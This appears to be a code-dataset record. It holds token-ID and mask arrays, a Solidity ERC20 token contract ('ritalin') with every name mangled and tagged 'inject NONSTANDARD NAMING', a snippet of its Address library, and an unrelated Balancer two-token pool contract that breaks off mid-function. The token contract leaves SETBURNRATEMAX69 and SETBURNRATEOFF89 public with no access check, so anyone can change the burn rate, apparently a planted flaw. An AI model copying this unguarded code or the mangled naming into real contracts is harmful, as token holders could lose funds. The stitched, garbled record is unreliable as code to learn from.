[ 1, 202, 915, 15430, 2761, 12, 2867, 389, 1154, 387, 16, 1426, 389, 542, 13, 3903, 1338, 5541, 288, 203, 202, 202, 6528, 24899, 1154, 387, 480, 1758, 12, 20, 3631, 315, 12307, 55, 20339, 2866, 542, 49, 2761, 30, 1131, 387, 2780, 506, 326, 3634, 1758, 8863, 203, 202, 202, 1154, 5432, 63, 67, 1154, 387, 65, 273, 389, 542, 31, 203, 202, 202, 18356, 490, 2761, 694, 24899, 1154, 387, 16, 389, 542, 1769, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.12; abstract contract context93 { //inject NONSTANDARD NAMING function _MSGSENDER100() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA48() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface ierc2072 { //inject NONSTANDARD NAMING function TOTALSUPPLY87() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF30(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER64(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE97(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE93(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM23(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER49(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL19(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library safemath71 { //inject NONSTANDARD NAMING function ADD89(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB49(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB49(a, b, "SafeMath: subtraction overflow"); } function SUB49(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL87(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV66(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV66(a, b, "SafeMath: division by zero"); } function DIV66(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD81(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD81(a, b, "SafeMath: modulo by zero"); } function MOD81(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library address48 { //inject NONSTANDARD NAMING function ISCONTRACT75(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE10(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function FUNCTIONCALL10(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALL10(target, data, "Address: low-level call failed"); } function FUNCTIONCALL10(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING return _FUNCTIONCALLWITHVALUE29(target, data, 0, errorMessage); } function FUNCTIONCALLWITHVALUE38(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALLWITHVALUE38(target, data, value, "Address: low-level call with value failed"); } function FUNCTIONCALLWITHVALUE38(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING require(address(this).balance >= value, "Address: insufficient balance for call"); return _FUNCTIONCALLWITHVALUE29(target, data, value, errorMessage); } function _FUNCTIONCALLWITHVALUE29(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING require(ISCONTRACT75(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library safeerc2070 { //inject NONSTANDARD NAMING using safemath71 for uint256; using address48 for address; function SAFETRANSFER92(ierc2072 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.TRANSFER64.selector, to, value)); } function SAFETRANSFERFROM97(ierc2072 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.TRANSFERFROM23.selector, from, to, value)); } function SAFEAPPROVE86(ierc2072 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.ALLOWANCE97(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.APPROVE93.selector, spender, value)); } function SAFEINCREASEALLOWANCE46(ierc2072 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE97(address(this), spender).ADD89(value); _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.APPROVE93.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE59(ierc2072 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE97(address(this), spender).SUB49(value, "SafeERC20: decreased allowance below zero"); _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.APPROVE93.selector, spender, newAllowance)); } function _CALLOPTIONALRETURN69(ierc2072 token, bytes memory data) private { //inject NONSTANDARD NAMING // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).FUNCTIONCALL10(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ownable40 is context93 { //inject NONSTANDARD NAMING address private _owner; event OWNERSHIPTRANSFERRED98(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER100(); _owner = msgSender; emit OWNERSHIPTRANSFERRED98(address(0), msgSender); } function OWNER27() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER31() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER100(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP62() public virtual ONLYOWNER31 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED98(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP64(address newOwner) public virtual ONLYOWNER31 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED98(_owner, newOwner); _owner = newOwner; } } contract mintable81 is context93 { //inject NONSTANDARD NAMING address private _minter; event MINTERSHIPTRANSFERRED53(address indexed previousMinter, address indexed newMinter); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER100(); _minter = msgSender; emit MINTERSHIPTRANSFERRED53(address(0), msgSender); } function MINTER75() public view returns (address) { //inject NONSTANDARD NAMING return _minter; } modifier ONLYMINTER28() { //inject NONSTANDARD NAMING require(_minter == _MSGSENDER100(), "Mintable: caller is not the minter"); _; } function TRANSFERMINTERSHIP52(address newMinter) public virtual ONLYMINTER28 { //inject NONSTANDARD NAMING require(newMinter != address(0), "Mintable: new minter is the zero address"); emit MINTERSHIPTRANSFERRED53(_minter, newMinter); _minter = newMinter; } } contract erc2029 is context93, ierc2072 { //inject NONSTANDARD NAMING using safemath71 for uint256; using address48 for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 private _burnRate; string private _name; string private _symbol; uint256 private _decimals; constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _burnRate = burnrate; _totalSupply = 0; _MINT0(msg.sender, initSupply*(10**_decimals)); _burnedSupply = 0; } function NAME28() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SETBURNRATEMAX69() public virtual { //inject NONSTANDARD NAMING _burnRate = 90; } function SETBURNRATEOFF89() public virtual { //inject NONSTANDARD NAMING _burnRate = 0; } function SYMBOL75() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS75() public view returns (uint256) { //inject NONSTANDARD NAMING return _decimals; } function TOTALSUPPLY87() public view override returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BURNEDSUPPLY50() public view returns (uint256) { //inject NONSTANDARD NAMING return _burnedSupply; } function BURNRATE41() public view returns (uint256) { //inject NONSTANDARD NAMING return _burnRate; } function BALANCEOF30(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER64(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER0(_MSGSENDER100(), recipient, amount); return true; } function BURN36(uint256 amount) public virtual returns (bool) { //inject NONSTANDARD NAMING _BURN51(_MSGSENDER100(), amount); return true; } function ALLOWANCE97(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE93(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _APPROVE65(_MSGSENDER100(), spender, amount); return true; } function TRANSFERFROM23(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER0(sender, recipient, amount); _APPROVE65(sender, _MSGSENDER100(), _allowances[sender][_MSGSENDER100()].SUB49(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE3(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE65(_MSGSENDER100(), spender, _allowances[_MSGSENDER100()][spender].ADD89(addedValue)); return true; } function DECREASEALLOWANCE67(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE65(_MSGSENDER100(), spender, _allowances[_MSGSENDER100()][spender].SUB49(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER0(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 amount_burn = amount.MUL87(_burnRate).DIV66(100); uint256 amount_send = amount.SUB49(amount_burn); require(amount == amount_send + amount_burn, "Burn value invalid"); _BURN51(sender, amount_burn); amount = amount_send; _BEFORETOKENTRANSFER77(sender, recipient, amount); _balances[sender] = _balances[sender].SUB49(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD89(amount); emit TRANSFER49(sender, recipient, amount); } function _MINT0(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _BEFORETOKENTRANSFER77(address(0), account, amount); _totalSupply = _totalSupply.ADD89(amount); _balances[account] = _balances[account].ADD89(amount); emit TRANSFER49(address(0), account, amount); } function _BURN51(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _BEFORETOKENTRANSFER77(account, address(0), amount); _balances[account] = _balances[account].SUB49(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB49(amount); _burnedSupply = _burnedSupply.ADD89(amount); emit TRANSFER49(account, address(0), amount); } function _APPROVE65(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL19(owner, spender, amount); } function _SETUPBURNRATE49(uint8 burnrate_) internal virtual { //inject NONSTANDARD NAMING _burnRate = burnrate_; } function _BEFORETOKENTRANSFER77(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING } // ERC20 (name, symbol, decimals, burnrate, initSupply) contract token59 is erc2029("ritalin", "ritalin", 18, 0, 3000), ownable40, mintable81 { //inject NONSTANDARD NAMING function MINT0(address _to, uint256 _amount) public ONLYMINTER28 { //inject NONSTANDARD NAMING _MINT0(_to, _amount); } function SETUPBURNRATE3(uint8 burnrate_) public ONLYOWNER31 { //inject NONSTANDARD NAMING _SETUPBURNRATE49(burnrate_); } }
Look for revert reason and bubble it up if present
if (success) { return returndata; bytes32 codehash; assembly { codehash := extcodehash(account) } (bool success, ) = recipient.call{ value: amount }(""); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } else { }
6,417,985
[ 1, 9794, 364, 15226, 3971, 471, 21577, 518, 731, 309, 3430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 4768, 13, 288, 203, 5411, 327, 327, 892, 31, 203, 203, 3639, 1731, 1578, 981, 2816, 31, 203, 3639, 19931, 288, 981, 2816, 519, 1110, 710, 2816, 12, 4631, 13, 289, 203, 3639, 261, 6430, 2216, 16, 262, 273, 8027, 18, 1991, 95, 460, 30, 3844, 289, 2932, 8863, 203, 3639, 261, 6430, 2216, 16, 1731, 3778, 327, 892, 13, 273, 1018, 18, 1991, 95, 460, 30, 732, 77, 620, 289, 12, 892, 1769, 203, 3639, 289, 469, 288, 203, 5411, 309, 261, 2463, 892, 18, 2469, 405, 374, 13, 288, 203, 203, 7734, 19931, 288, 203, 10792, 2231, 327, 892, 67, 1467, 519, 312, 945, 12, 2463, 892, 13, 203, 10792, 15226, 12, 1289, 12, 1578, 16, 327, 892, 3631, 327, 892, 67, 1467, 13, 203, 7734, 289, 203, 7734, 15226, 12, 1636, 1079, 1769, 203, 5411, 289, 203, 5411, 309, 261, 2463, 892, 18, 2469, 405, 374, 13, 288, 203, 203, 7734, 19931, 288, 203, 10792, 2231, 327, 892, 67, 1467, 519, 312, 945, 12, 2463, 892, 13, 203, 10792, 15226, 12, 1289, 12, 1578, 16, 327, 892, 3631, 327, 892, 67, 1467, 13, 203, 7734, 289, 203, 7734, 15226, 12, 1636, 1079, 1769, 203, 5411, 289, 203, 5411, 289, 469, 288, 203, 3639, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/math/FixedPoint.sol"; import "../../lib/helpers/InputHelpers.sol"; import "../../lib/helpers/TemporarilyPausable.sol"; import "../../lib/openzeppelin/ERC20.sol"; import "./WeightedMath.sol"; import "./WeightedOracleMath.sol"; import "./WeightedPool2TokensMiscData.sol"; import "./WeightedPoolUserDataHelpers.sol"; import "../BalancerPoolToken.sol"; import "../BasePoolAuthorization.sol"; import "../oracle/PoolPriceOracle.sol"; import "../oracle/Buffer.sol"; import "../../vault/interfaces/IMinimalSwapInfoPool.sol"; import "../IPriceOracle.sol"; contract WeightedPool2Tokens is IMinimalSwapInfoPool, IPriceOracle, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable, PoolPriceOracle, WeightedMath, WeightedOracleMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; using WeightedPool2TokensMiscData for bytes32; uint256 private constant _MINIMUM_BPT = 1e6; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% // The swap fee is internally stored using 64 bits, which is enough to represent _MAX_SWAP_FEE_PERCENTAGE. bytes32 internal _miscData; uint256 private _lastInvariant; IVault private immutable _vault; bytes32 private immutable _poolId; IERC20 internal immutable _token0; IERC20 internal immutable _token1; uint256 private immutable _normalizedWeight0; uint256 private immutable _normalizedWeight1; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 private immutable _maxWeightTokenIndex; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; event OracleEnabledChanged(bool enabled); event SwapFeePercentageChanged(uint256 swapFeePercentage); modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } struct NewPoolParams { IVault vault; string name; string symbol; IERC20 token0; IERC20 token1; uint256 normalizedWeight0; uint256 normalizedWeight1; uint256 swapFeePercentage; uint256 pauseWindowDuration; uint256 bufferPeriodDuration; bool oracleEnabled; address owner; } constructor(NewPoolParams memory params) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(params.name, params.symbol) BasePoolAuthorization(params.owner) TemporarilyPausable(params.pauseWindowDuration, params.bufferPeriodDuration) { _setOracleEnabled(params.oracleEnabled); _setSwapFeePercentage(params.swapFeePercentage); bytes32 poolId = params.vault.registerPool(IVault.PoolSpecialization.TWO_TOKEN); // Pass in zero addresses for Asset Managers IERC20[] memory tokens = new IERC20[](2); tokens[0] = params.token0; tokens[1] = params.token1; params.vault.registerTokens(poolId, tokens, new address[](2)); // Set immutable state variables - these cannot be read from during construction _vault = params.vault; _poolId = poolId; _token0 = params.token0; _token1 = params.token1; _scalingFactor0 = _computeScalingFactor(params.token0); _scalingFactor1 = _computeScalingFactor(params.token1); // Ensure each normalized weight is above them minimum and find the token index of the maximum weight _require(params.normalizedWeight0 >= _MIN_WEIGHT, Errors.MIN_WEIGHT); _require(params.normalizedWeight1 >= _MIN_WEIGHT, Errors.MIN_WEIGHT); // Ensure that the normalized weights sum to ONE uint256 normalizedSum = params.normalizedWeight0.add(params.normalizedWeight1); _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _normalizedWeight0 = params.normalizedWeight0; _normalizedWeight1 = params.normalizedWeight1; _maxWeightTokenIndex = params.normalizedWeight0 >= params.normalizedWeight1 ? 0 : 1; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view returns (bytes32) { return _poolId; } function getMiscData() external view returns ( int256 logInvariant, int256 logTotalSupply, uint256 oracleSampleCreationTimestamp, uint256 oracleIndex, bool oracleEnabled, uint256 swapFeePercentage ) { bytes32 miscData = _miscData; logInvariant = miscData.logInvariant(); logTotalSupply = miscData.logTotalSupply(); oracleSampleCreationTimestamp = miscData.oracleSampleCreationTimestamp(); oracleIndex = miscData.oracleIndex(); oracleEnabled = miscData.oracleEnabled(); swapFeePercentage = miscData.swapFeePercentage(); } function getSwapFeePercentage() public view returns (uint256) { return _miscData.swapFeePercentage(); } // Caller must be approved by the Vault's Authorizer function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _miscData = _miscData.setSwapFeePercentage(swapFeePercentage); emit SwapFeePercentageChanged(swapFeePercentage); } /** * @dev Balancer Governance can always enable the Oracle, even if it was originally not enabled. This allows for * Pools that unexpectedly drive much more volume and liquidity than expected to serve as Price Oracles. * * Note that the Oracle can only be enabled - it can never be disabled. */ function enableOracle() external whenNotPaused authenticate { _setOracleEnabled(true); // Cache log invariant and supply only if the pool was initialized if (totalSupply() > 0) { _cacheInvariantAndSupply(); } } function _setOracleEnabled(bool enabled) internal { _miscData = _miscData.setOracleEnabled(enabled); emit OracleEnabledChanged(enabled); } // Caller must be approved by the Vault's Authorizer function setPaused(bool paused) external authenticate { _setPaused(paused); } function getNormalizedWeights() external view returns (uint256[] memory) { return _normalizedWeights(); } function _normalizedWeights() internal view virtual returns (uint256[] memory) { uint256[] memory normalizedWeights = new uint256[](2); normalizedWeights[0] = _normalizedWeights(true); normalizedWeights[1] = _normalizedWeights(false); return normalizedWeights; } function _normalizedWeights(bool token0) internal view virtual returns (uint256) { return token0 ? _normalizedWeight0 : _normalizedWeight1; } function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances); uint256[] memory normalizedWeights = _normalizedWeights(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) external virtual override whenNotPaused onlyVault(request.poolId) returns (uint256) { bool tokenInIsToken0 = request.tokenIn == _token0; uint256 scalingFactorTokenIn = _scalingFactor(tokenInIsToken0); uint256 scalingFactorTokenOut = _scalingFactor(!tokenInIsToken0); uint256 normalizedWeightIn = _normalizedWeights(tokenInIsToken0); uint256 normalizedWeightOut = _normalizedWeights(!tokenInIsToken0); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); // Update price oracle with the pre-swap balances _updateOracle( request.lastChangeBlock, tokenInIsToken0 ? balanceTokenIn : balanceTokenOut, tokenInIsToken0 ? balanceTokenOut : balanceTokenIn ); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. // This is amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = request.amount.mulUp(getSwapFeePercentage()); request.amount = _upscale(request.amount.sub(feeAmount), scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn( request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut ); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut( request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut ); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. // This is amount + fee amount, so we round up (favoring a higher fee amount). return amountIn.divUp(getSwapFeePercentage().complement()); } } function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut, uint256 normalizedWeightIn, uint256 normalizedWeightOut ) private pure returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, normalizedWeightIn, currentBalanceTokenOut, normalizedWeightOut, swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut, uint256 normalizedWeightIn, uint256 normalizedWeightOut ) private pure returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, normalizedWeightIn, currentBalanceTokenOut, normalizedWeightOut, swapRequest.amount ); } // Join Hook function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) whenNotPaused returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) { // All joins, including initializations, are disabled while the contract is paused. uint256 bptAmountOut; if (totalSupply() == 0) { (bptAmountOut, amountsIn) = _onInitializePool(poolId, sender, recipient, userData); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn); // There are no due protocol fee amounts during initialization dueProtocolFeeAmounts = new uint256[](2); } else { _upscaleArray(balances); // Update price oracle with the pre-join balances _updateOracle(lastChangeBlock, balances[0], balances[1]); (bptAmountOut, amountsIn, dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, 